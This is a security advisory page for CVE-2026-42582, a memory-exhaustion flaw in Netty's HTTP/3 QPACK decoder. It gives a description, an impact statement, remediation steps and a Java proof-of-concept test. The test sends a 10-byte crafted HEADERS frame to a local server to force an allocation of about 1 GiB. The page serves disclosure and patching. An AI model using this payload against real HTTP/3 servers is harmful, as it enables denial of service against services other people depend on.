Netty HTTP/3 codec CVE-2026-42582
HIGH
GHSA-2c5c-chwr-9hqw
CVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Lifecycle Timeline
3Blast Radius
ecosystem impact- 116 maven packages depend on io.netty:netty-codec-http3 (5 direct, 111 indirect)
Ecosystem-wide dependent count for version 4.2.13.Final.
DescriptionNVD
Summary
When Netty decodes HTTP/3 headers, it sometimes runs new byte[length] using a length from the wire before checking that many bytes are really there. A small malicious header can claim a huge length (on the order of a gigabyte).
Details
When decoding header blocks, the non-Huffman branch of io.netty.handler.codec.http3.QpackDecoder#decodeHuffmanEncodedLiteral may execute new byte[length] for a string literal before verifying that length bytes are actually present in the compressed field section. The wire encoding allows a very large length to be expressed in few bytes. There is no check that length <= in.readableBytes() before new byte[length].
PoC
The test below constructs a small HTTP/3 HEADERS frame whose QPACK section decodes to a ~1 GiB non-Huffman name length and is used to observe server-side failure; it illustrates how little wire data can target new byte[length].
@Test
public void test() throws Exception {
EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());
try {
X509Bundle cert = new CertificateBuilder()
.subject("cn=localhost")
.setIsCertificateAuthority(true)
.buildSelfSigned();
QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())
.applicationProtocols(Http3.supportedApplicationProtocols())
.build();
AtomicReference<Throwable> serverErrors = new AtomicReference<>();
CountDownLatch serverConnectionClosed = new CountDownLatch(1);
ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()
.sslContext(serverContext)
.maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
.initialMaxData(10_000_000)
.initialMaxStreamDataBidirectionalLocal(1_000_000)
.initialMaxStreamDataBidirectionalRemote(1_000_000)
.initialMaxStreamsBidirectional(100)
.tokenHandler(InsecureQuicTokenHandler.INSTANCE)
.handler(new ChannelInitializer<QuicChannel>() {
@Override
protected void initChannel(QuicChannel ch) {
ch.closeFuture().addListener(f -> serverConnectionClosed.countDown());
ch.pipeline().addLast(new Http3ServerConnectionHandler(
new ChannelInboundHandlerAdapter() {
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
if (cause instanceof DecoderException) {
serverErrors.set(cause.getCause());
} else {
serverErrors.set(cause);
}
}
}));
}
})
.build();
Channel server = new Bootstrap()
.group(group)
.channel(NioDatagramChannel.class)
.handler(serverCodec)
.bind("127.0.0.1", 0)
.sync()
.channel();
QuicSslContext clientContext = QuicSslContextBuilder.forClient()
.trustManager(InsecureTrustManagerFactory.INSTANCE)
.applicationProtocols(Http3.supportedApplicationProtocols())
.build();
ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()
.sslContext(clientContext)
.maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
.initialMaxData(10000000)
.initialMaxStreamDataBidirectionalLocal(1000000)
.build();
Channel client = new Bootstrap()
.group(group)
.channel(NioDatagramChannel.class)
.handler(clientCodec)
.bind(0)
.sync()
.channel();
QuicChannel quicChannel = QuicChannel.newBootstrap(client)
.handler(new Http3ClientConnectionHandler())
.remoteAddress(server.localAddress())
.localAddress(client.localAddress())
.connect()
.get();
QuicStreamChannel rawStream =
quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();
ByteBuf header = Unpooled.buffer();
header.writeByte(0x01);
header.writeByte(0x08);
header.writeByte(0x00);
header.writeByte(0x00);
header.writeByte(0x27);
header.writeByte(0x80);
header.writeByte(0x80);
header.writeByte(0x80);
header.writeByte(0x80);
header.writeByte(0x04);
rawStream.writeAndFlush(header).sync();
assertTrue(serverConnectionClosed.await(10, TimeUnit.SECONDS));
assertInstanceOf(IndexOutOfBoundsException.class, serverErrors.get());
quicChannel.closeFuture().await(5, TimeUnit.SECONDS);
server.close().sync();
client.close().sync();
} finally {
group.shutdownGracefully();
}
}Impact
The server can slow down, stall, or crash under load when many crafted HTTP/3 HEADERS frames trigger very large byte[] allocations during QPACK literal decoding.
AnalysisAI
Memory exhaustion in Netty HTTP/3 codec allows remote attackers to cause server crash or denial of service through malformed QPACK headers. The vulnerability affects io.netty:netty-codec-http3 versions up to 4.2.12.Final and enables unauthenticated attackers to force gigabyte-scale memory allocations with minimal wire data-a crafted HEADERS frame of just 10 bytes can trigger ~1 GiB allocation. …
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RemediationAI
Within 24 hours: identify all systems running io.netty:netty-codec-http3 versions ≤4.2.12.Final using dependency scanning tools; document affected applications and deployment locations. Within 7 days: contact vendor for patch timeline and interim guidance; implement network-level rate limiting or filtering for HTTP/3 HEADERS frames from untrusted sources. …
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